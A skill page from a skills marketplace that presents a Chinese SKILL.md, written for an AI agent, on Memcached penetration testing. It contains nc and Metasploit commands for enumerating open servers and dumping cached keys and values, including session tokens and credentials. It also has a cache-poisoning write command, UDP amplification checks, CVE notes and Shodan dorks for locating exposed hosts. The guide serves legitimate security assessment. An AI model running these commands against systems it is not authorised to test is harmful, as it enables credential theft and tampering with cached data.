Skip to main content

memcache-pentesting

Memcached 服务(11211 端口)渗透测试方法论。涵盖 Memcached 服务发现、未授权访问、缓存数据提取、DDoS 放大攻击、已知漏洞利用。 当 Agent 扫描发现 11211 端口开放、需要测试 Memcached 未授权访问、提取缓存数据、或评估 DDoS 放大风险时,触发此 Skill。

Informações da origem

Repositório
wgpsec/AboutSecurity
Última atividade na origem
15 de outubro de 2026 às 06:58
Idioma detectado do SKILL.md
chinês
Estrelas
1.807
Forks
250

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Explorador de arquivos
2 arquivos

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
memcache-pentesting
description
Memcached 服务(11211 端口)渗透测试方法论。涵盖 Memcached 服务发现、未授权访问、缓存数据提取、DDoS 放大攻击、已知漏洞利用。 当 Agent 扫描发现 11211 端口开放、需要测试 Memcached 未授权访问、提取缓存数据、或评估 DDoS 放大风险时,触发此 Skill。
metadata
{"tags":"memcached,11211端口,缓存,未授权访问,ddos放大","category":"exploit"}
# Memcached 渗透测试方法论 (11211) ## 深入参考 - Memcached 命令详解、数据提取技术、DDoS 放大原理 -> 读 [references/memcache-techniques.md](references/memcache-techniques.md) --- ## 整体决策树 ``` 发现 11211 端口开放 ├─ Phase 1: 服务发现 │ ├─ Nmap 脚本扫描 -> 版本与基本信息 │ ├─ 手动连接 (nc / telnet) │ └─ TCP vs UDP 探测 │ ├─ TCP 11211 -> 标准连接 │ └─ UDP 11211 -> DDoS 放大攻击面 ├─ Phase 2: 未授权访问测试 │ ├─ 发送 version / stats 命令 │ │ ├─ 返回数据 -> 未授权 -> Phase 3 │ │ └─ 无响应 / ERROR -> SASL 认证启用 -> 爆破 │ └─ Memcached 多数实例默认无认证 ├─ Phase 3: 缓存数据提取 │ ├─ stats -> 基础统计信息 │ ├─ stats slabs -> 内存分片信息 │ ├─ stats items -> 各 slab 中的项目 │ ├─ stats cachedump <slab> <count> -> 键名 (< 1.4.31) │ ├─ lru_crawler metadump all -> 键名 (>= 1.4.31) │ └─ get <key> -> 获取具体缓存值 ├─ Phase 4: DDoS 放大风险 │ ├─ UDP 端口开放 -> 可被利用为反射放大源 │ ├─ 放大比可达 51000x │ └─ Metasploit: auxiliary/scanner/memcached/memcached_amp └─ Phase 5: 已知漏洞 ├─ CVE-2021-37519 (堆溢出) ├─ CVE-2019-11596 (NULL 指针) └─ 旧版本缓冲区溢出 ``` --- ## Phase 1: 服务发现 ### 1.1 自动枚举 ```bash # Nmap 信息收集 nmap -n -sV --script memcached-info -p 11211 <IP> # Metasploit 数据提取 msf> use auxiliary/gather/memcached_extractor # Metasploit DDoS 放大检测 msf> use auxiliary/scanner/memcached/memcached_amp ``` ### 1.2 手动连接 ```bash # TCP 连接 echo "version" | nc -vn -w 1 <IP> 11211 echo "stats" | nc -vn -w 1 <IP> 11211 # libmemcached 工具 sudo apt install libmemcached-tools memcstat --servers=<IP> ``` --- ## Phase 2: 未授权访问测试 ### 2.1 认证检测 Memcached 虽支持 SASL 认证,但绝大多数实例默认暴露无认证。 ```bash # 发送 version 命令测试 echo "version" | nc -vn -w 1 <IP> 11211 # 返回 VERSION x.x.x 则无需认证 # 发送 stats 命令 echo "stats" | nc -vn -w 1 <IP> 11211 # 返回 STAT 数据则确认无认证 ``` ### 2.2 认证决策树 ``` 连接测试 ├─ 返回 VERSION / STAT 数据 │ └─ 未授权访问确认 -> Phase 3 ├─ 返回 ERROR 或无响应 │ ├─ SASL 认证可能启用 │ └─ 端口可能被防火墙过滤 └─ 连接超时 └─ 检查 TCP/UDP 端口状态 ``` --- ## Phase 3: 缓存数据提取 ### 3.1 基础信息收集 ```bash # 版本信息 echo "version" | nc -vn -w 1 <IP> 11211 # 通用统计 echo "stats" | nc -vn -w 1 <IP> 11211 # 内存分片统计 echo "stats slabs" | nc -vn -w 1 <IP> 11211 # 项目统计 echo "stats items" | nc -vn -w 1 <IP> 11211 ``` ### 3.2 键名提取 ```bash # Memcached < 1.4.31: cachedump 方式 echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211 # 0 表示无限输出 # Memcached >= 1.4.31: lru_crawler 方式 (推荐) echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50 ``` ### 3.3 获取具体值 ```bash # 获取指定键的值 echo "get <key_name>" | nc -vn -w 1 <IP> 11211 ``` ### 3.4 工具辅助 ```bash # libmemcached 工具 memcstat --servers=<IP> # 统计信息 memcdump --servers=<IP> # 导出所有键名 memccat --servers=<IP> <key> # 获取键值 # PHP 脚本 sudo apt-get install php-memcached php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());' ``` ### 3.5 数据提取决策树 ``` 缓存数据提取流程 ├─ stats items -> 确认有数据的 slab ├─ 版本 < 1.4.31 │ └─ stats cachedump <slab> 0 -> 获取键名 ├─ 版本 >= 1.4.31 │ └─ lru_crawler metadump all -> 获取键名 ├─ 获取键名后 │ └─ get <key> -> 逐个获取值 └─ 关注的数据类型 ├─ 会话 Token / Session ID ├─ 用户凭据 / API Key ├─ 序列化对象 (反序列化攻击面) └─ 业务敏感数据 ``` **注意**: 缓存数据是临时的,可能随时出现或消失。 --- ## Phase 4: DDoS 放大风险 ### 4.1 UDP 反射放大 Memcached UDP 反射放大是已知的最大放大攻击之一,放大比可达 **51000x**。 ```bash # 检测 UDP 端口 nmap -sU -p 11211 <IP> # Metasploit 放大检测 msf> use auxiliary/scanner/memcached/memcached_amp msf> set RHOSTS <IP> msf> run ``` ### 4.2 DDoS 风险评估 ``` UDP 11211 开放 ├─ 可被滥用为 DDoS 反射放大源 │ ├─ 攻击者发送伪造源 IP 的小请求 │ ├─ Memcached 向受害者返回大响应 │ └─ 放大比高达 51000x ├─ 缓解措施 │ ├─ 禁用 UDP: memcached -U 0 │ ├─ 防火墙限制 11211 端口访问 │ └─ 绑定到 localhost: memcached -l 127.0.0.1 └─ 报告建议 └─ 将 UDP 暴露标记为高风险发现 ``` --- ## Phase 5: 已知漏洞 ### 5.1 漏洞检测决策树 ``` Memcached 版本已知 ├─ < 1.4.31 │ └─ cachedump 可用 (信息泄露更简单) ├─ < 1.5.6 │ └─ CVE-2018-1000127 (整数溢出) ├─ < 1.6.1 │ └─ CVE-2019-11596 (NULL 指针解引用 DoS) ├─ < 1.6.12 │ └─ CVE-2021-37519 (堆缓冲区溢出) └─ 通用 └─ searchsploit memcached ``` --- ## 数据写入与操纵 ### 缓存投毒 如果可以写入 Memcached,可以投毒缓存数据: ```bash # 设置/覆盖键值 printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211 # 潜在影响: # - 修改会话数据 -> 越权 # - 修改配置缓存 -> 逻辑绕过 # - 注入序列化对象 -> 反序列化 RCE ``` --- ## Shodan 搜索 ``` port:11211 "STAT pid" "STAT pid" ```
Ver no GitHub